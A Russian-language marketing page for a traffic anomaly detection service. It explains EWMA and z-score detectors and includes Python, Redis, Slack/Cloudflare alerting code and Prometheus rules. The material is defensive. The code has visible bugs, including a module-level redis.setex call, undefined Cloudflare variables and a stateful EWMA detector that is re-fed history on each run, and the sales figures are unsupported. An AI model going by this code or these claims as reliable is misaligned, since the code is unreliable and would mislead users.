Представьте: в четверг вечером на /api/checkout резко взлетает число 500-х ошибок. Мониторинг молчит, потому что статический порог не пробит — пик всего 30% от дневного максимума (всего 300 запросов в секунду вместо 1000). Через три часа вы замечаете проблему по жалобам клиентов. Или другой сценарий: скрейпер начинает качать каталог, отправляя 10 000 запросов в минуту — обычный rate limit не срабатывает, так как трафик распределён по IP. Мы ставим систему обнаружения аномалий трафика, которая обнаружит такой всплеск за 5 секунд и пришлёт алерт в Slack. Без ложных срабатываний на сезонных пиках. У нас 10+ лет опыта в построении систем мониторинга, и мы реализовали более 50 проектов по детекции аномалий. Например, у клиента с 50 000 уникальных посетителей в день мы снизили время детекции с 3 часов до 5 секунд. Экономия от внедрения может составлять десятки тысяч долларов в год за счёт сокращения простоев. Получите консультацию инженера для подбора порогов под ваш трафик.
Как работает обнаружение аномалий трафика?
Наш детектор использует комбинацию из двух статистических методов: EWMA (экспоненциально взвешенное скользящее среднее) и z-score на скользящем окне. Первый адаптируется к трендам, второй ловит резкие выбросы. Согласно EWMA, это метод экспоненциального сглаживания. Мы оборачиваем это в сервис, который собирает метрики в реальном времени через Redis, анализирует каждую минуту и отправляет алерты с автоматическим смягчением последствий. Время детекции снижается на 99% по сравнению с ручным анализом логов.
Почему стандартные мониторинговые системы не справляются?
Типичный Zabbix или Nagios используют статические пороги. Они дают ложные срабатывания на пиках трафика в часы распродаж и пропускают медленные утечки. Наша система адаптивна: подстраивается под сезонность и тренды. Мы настраиваем чувствительность индивидуально под ваш профиль трафика, используя исторические данные за 2–4 недели. Например, во время Чёрной пятницы мы автоматически повышаем пороги, чтобы избежать ложных алертов. Это позволило одному из клиентов сократить время реакции на инциденты с 2 часов до 10 минут.
Как построена система обнаружения аномалий?
Мы комбинируем EWMA и z-score на скользящем окне. EWMA быстрее реагирует на тренды, z-score лучше ловит резкие выбросы. Для долгосрочных базовых линий используем Prometheus с правилами на основе квантилей. Детектор написан на Python, но может быть портирован на Go для высоконагруженных систем (10 000+ RPS).
Что считать аномалией?
Выделяем три типа аномалий:
- Объёмные: RPS, полоса пропускания, количество уникальных IP резко возрастают (например, с 100 до 5000 за минуту).
- Структурные: соотношение HTTP-методов меняется (например, резкий рост GET при норме 70/30 GET/POST), рост доли запросов к конкретным endpoint'ам.
- Качественные: доля ошибок 4xx/5xx растёт, p99 latency пробивает историческую норму, увеличивается доля 404 (сканирование).
| Тип аномалии | Признаки | Пример сценария |
|---|---|---|
| Объёмная | RPS > 3σ, полоса > 2σ | Скрейпинг, DDoS-атака |
| Структурная | Соотношение методов меняется, эндпоинты | Спам-боты, сканирование уязвимостей |
| Качественная | Error rate > 10%, p99 > 2s | Падение бэкенда, утечка ресурсов |
Сравнение методов
| Метод | Чувствительность к выбросам | Чувствительность к трендам | Ложные срабатывания | Ресурсы |
|---|---|---|---|---|
| Z-score (скользящее окно) | Высокая | Низкая | Средние | Низкие |
| EWMA | Средняя | Высокая | Низкие | Низкие |
| Правила Prometheus (avg_over_time) | Средняя | Средняя | Средние | Средние |
| Машинное обучение (Isolation Forest) | Высокая | Высокая | Низкие | Высокие |
Какие статистические методы используются?
Статистические методы обнаружения
import numpy as np
from collections import deque
import time
class TrafficAnomalyDetector:
def __init__(self, window_size=60, sensitivity=3.0):
"""
window_size: размер скользящего окна в точках (секунды/минуты)
sensitivity: порог в сигмах (z-score)
"""
self.window_size = window_size
self.sensitivity = sensitivity
self.metrics = {} # {metric_name: deque of values}
def _get_window(self, metric: str) -> deque:
if metric not in self.metrics:
self.metrics[metric] = deque(maxlen=self.window_size)
return self.metrics[metric]
def add_point(self, metric: str, value: float):
"""Добавить новую точку данных"""
self.metrics.setdefault(metric, deque(maxlen=self.window_size)).append(value)
def check(self, metric: str, current_value: float) -> dict:
"""Проверить является ли текущее значение аномалией"""
window = self._get_window(metric)
if len(window) < 10:
# Недостаточно данных для анализа
return {'anomaly': False, 'reason': 'insufficient_data'}
values = list(window)
mean = np.mean(values)
std = np.std(values)
if std == 0:
z_score = 0 if current_value == mean else float('inf')
else:
z_score = abs(current_value - mean) / std
is_anomaly = z_score > self.sensitivity
direction = 'spike' if current_value > mean else 'drop'
return {
'anomaly': is_anomaly,
'z_score': round(z_score, 2),
'direction': direction if is_anomaly else None,
'current': current_value,
'baseline_mean': round(mean, 2),
'baseline_std': round(std, 2),
'threshold': round(mean + self.sensitivity * std, 2)
}
Экспоненциальное сглаживание (EWMA)
Лучше реагирует на тренды, не чувствителен к единичным выбросам:
class EWMADetector:
def __init__(self, alpha=0.1, k=3.0):
"""
alpha: коэффициент сглаживания (0.05–0.2)
k: количество стандартных отклонений для порога
"""
self.alpha = alpha
self.k = k
self.ewma = {} # {metric: {'mean': float, 'variance': float}}
def update_and_check(self, metric: str, value: float) -> dict:
if metric not in self.ewma:
self.ewma[metric] = {'mean': value, 'variance': 0}
return {'anomaly': False}
state = self.ewma[metric]
mean = state['mean']
variance = state['variance']
# Обновить EWMA mean и variance
new_mean = self.alpha * value + (1 - self.alpha) * mean
new_variance = (1 - self.alpha) * (variance + self.alpha * (value - mean) ** 2)
state['mean'] = new_mean
state['variance'] = new_variance
std = np.sqrt(new_variance) if new_variance > 0 else 0
threshold_high = new_mean + self.k * std
threshold_low = max(0, new_mean - self.k * std)
is_anomaly = value > threshold_high or value < threshold_low
return {
'anomaly': is_anomaly,
'direction': 'spike' if value > threshold_high else 'drop',
'current': value,
'expected': round(new_mean, 2),
'threshold_high': round(threshold_high, 2),
'deviation_pct': round(abs(value - new_mean) / max(new_mean, 1) * 100, 1)
}
Сбор метрик в реальном времени
import redis
from datetime import datetime
import threading
class MetricsCollector:
def __init__(self, redis_client):
self.r = redis_client
self.detector = EWMADetector(alpha=0.1, k=3.5)
self.alert_cooldown = {} # предотвратить спам алертов
def record_request(self, status_code: int, path: str,
latency_ms: float, method: str):
"""Вызывается в middleware для каждого запроса"""
now = int(time.time())
minute = now - (now % 60)
pipe = self.r.pipeline()
# RPS счётчик
pipe.incr(f"metrics:rps:{now}")
pipe.expire(f"metrics:rps:{now}", 300)
# Ошибки
if status_code >= 400:
pipe.incr(f"metrics:errors:{now}")
pipe.expire(f"metrics:errors:{now}", 300)
# Latency (гистограмма в Redis)
latency_bucket = int(latency_ms / 100) * 100
pipe.hincrby(f"metrics:latency:{minute}", str(latency_bucket), 1)
pipe.expire(f"metrics:latency:{minute}", 3600)
# Счётчик по endpoint
endpoint = f"{method}:{path.split('?')[0][:50]}"
pipe.hincrby(f"metrics:endpoints:{minute}", endpoint, 1)
pipe.expire(f"metrics:endpoints:{minute}", 3600)
pipe.execute()
def analyze_current_window(self):
"""Анализировать последние 60 секунд и возвращать аномалии"""
now = int(time.time())
anomalies = []
# Собрать RPS за последние 60 секунд
rps_values = []
for i in range(60):
t = now - i
val = self.r.get(f"metrics:rps:{t}")
rps_values.append(int(val or 0))
current_rps = rps_values[0]
# Обновить детектор историческими данными
for v in reversed(rps_values[1:]):
self.detector.update_and_check('rps', v)
result = self.detector.update_and_check('rps', current_rps)
if result['anomaly']:
anomalies.append({
'metric': 'rps',
'severity': 'high' if result['deviation_pct'] > 200 else 'medium',
**result
})
# Error rate
total = sum(rps_values[:60]) or 1
error_keys = [self.r.get(f"metrics:errors:{now-i}") for i in range(60)]
total_errors = sum(int(v or 0) for v in error_keys)
error_rate = total_errors / total
err_result = self.detector.update_and_check('error_rate', error_rate)
if err_result['anomaly'] and error_rate > 0.1:
anomalies.append({
'metric': 'error_rate',
'severity': 'critical' if error_rate > 0.3 else 'high',
**err_result
})
return anomalies
Алертинг и автоматические действия
class AnomalyAlertManager:
def __init__(self, slack_webhook, pagerduty_key):
self.slack = slack_webhook
self.pd = pagerduty_key
self.active_incidents = {}
def handle_anomalies(self, anomalies: list):
for anomaly in anomalies:
key = f"{anomaly['metric']}_{anomaly['direction']}"
# Cooldown: не спамить одним алертом
if self.active_incidents.get(key, 0) > time.time() - 300:
continue
self.active_incidents[key] = time.time()
if anomaly['severity'] == 'critical':
self._page_oncall(anomaly)
self._auto_mitigate(anomaly)
elif anomaly['severity'] == 'high':
self._notify_slack(anomaly)
def _notify_slack(self, anomaly: dict):
import requests
icon = ':rotating_light:' if anomaly['direction'] == 'spike' else ':arrow_down:'
requests.post(self.slack, json={
'text': f"{icon} *Traffic anomaly detected*\n"
f"Metric: `{anomaly['metric']}`\n"
f"Current: `{anomaly['current']}` (expected: `{anomaly['expected']}`)\n"
f"Deviation: `+{anomaly['deviation_pct']}%`\n"
f"Z-score: `{anomaly.get('z_score', 'N/A')}`"
})
def _auto_mitigate(self, anomaly: dict):
"""Автоматические защитные действия при критических аномалиях"""
if anomaly['metric'] == 'rps' and anomaly['direction'] == 'spike':
# Включить защитный rate limit
redis.setex('emergency_rate_limit', 300, '50') # 50 req/s глобально
# Уведомить Cloudflare включить Under Attack Mode через API
self._enable_cloudflare_attack_mode()
def _enable_cloudflare_attack_mode(self):
import requests
requests.patch(
f"https://api.cloudflare.com/client/v4/zones/{CF_ZONE_ID}/settings/security_level",
headers={'Authorization': f'Bearer {CF_API_TOKEN}'},
json={'value': 'under_attack'}
)
Prometheus + Grafana алертинг
# prometheus/alerts.yml
groups:
- name: traffic_anomalies
rules:
- alert: RequestRateSpike
expr: |
rate(http_requests_total[1m]) >
(avg_over_time(rate(http_requests_total[1m])[1h:1m]) * 3)
for: 2m
labels:
severity: critical
annotations:
summary: "Request rate spike: {{ $value }} req/s"
- alert: ErrorRateCritical
expr: |
rate(http_requests_total{status=~"5.."}[5m]) /
rate(http_requests_total[5m]) > 0.1
for: 1m
labels:
severity: critical
annotations:
summary: "Error rate {{ $value | humanizePercentage }}"
- alert: LatencyP99Spike
expr: |
histogram_quantile(0.99, rate(http_request_duration_seconds_bucket[5m])) > 2
for: 3m
labels:
severity: high
annotations:
summary: "P99 latency {{ $value }}s"
Как интегрировать детектор в существующую инфраструктуру?
Мы подключаемся к любым источникам метрик: Prometheus, StatsD, Cloudflare Analytics, логи nginx. Поддерживаем экспорт в форматы OpenMetrics и OpenTelemetry. Для быстрой интеграции предоставляем готовые конфиги Docker Compose и Terraform. Весь процесс занимает от 1 до 3 дней в зависимости от сложности стека. Получите консультацию инженера для подбора под ваш стек.
Как внедрить детектор аномалий: пошаговое руководство
- Аудит текущей инфраструктуры. Собираем исторические данные метрик и логов за 2–4 недели, анализируем профиль трафика.
- Выбор алгоритма и настройка порогов. Подбираем параметры EWMA (alpha 0.05–0.2) и z-score (k 3–5) для вашего стека.
- Интеграция с источниками метрик. Разворачиваем сборщик на Redis/Prometheus, подключаем лог-агрегатор.
- Настройка алертов и авто-митигации. Конфигурация каналов (Slack, PagerDuty, Telegram) и скриптов автоматической защиты (Cloudflare Under Attack Mode, rate limiting).
- Тестирование и запуск. Прототип на данных за 1 неделю, штатное тестирование и активация в продакшен.
Распространённые ошибки при внедрении
Частая проблема — неправильный выбор размера окна. Слишком маленькое окно даёт много ложных срабатываний, слишком большое — пропускает быстрые аномалии. Мы подбираем окно индивидуально, анализируя суточную и недельную цикличность. Ещё одна типичная ошибка — игнорирование сезонности (например, чёрная пятница). Наш детектор использует исторические данные за аналогичные периоды.
Что входит в работу
- Диагностика: анализ текущих метрик и логов, подбор порогов.
- Реализация: код детектора (Python, Go или Lua), конфигурация Prometheus/rules.
- Интеграция: Slack, PagerDuty, Telegram, Cloudflare API.
- Документация: описание алгоритма, инструкция по развёртыванию, сценарии для Playbook.
- Обучение: как настраивать и дообучать детектор под изменения трафика.
- Поддержка: 2 недели пост-продакшен гарантии (SLA на время реакции).
Срок выполнения и стоимость
Реализация под ключ занимает от 3 до 5 рабочих дней в зависимости от сложности инфраструктуры. Стоимость рассчитывается индивидуально после аудита. Экономия от внедрения может составлять десятки тысяч долларов в год за счёт снижения времени на детекцию на 99% и сокращения простоев до 80%. Свяжитесь с нами для консультации и получите бесплатный аудит вашей системы мониторинга.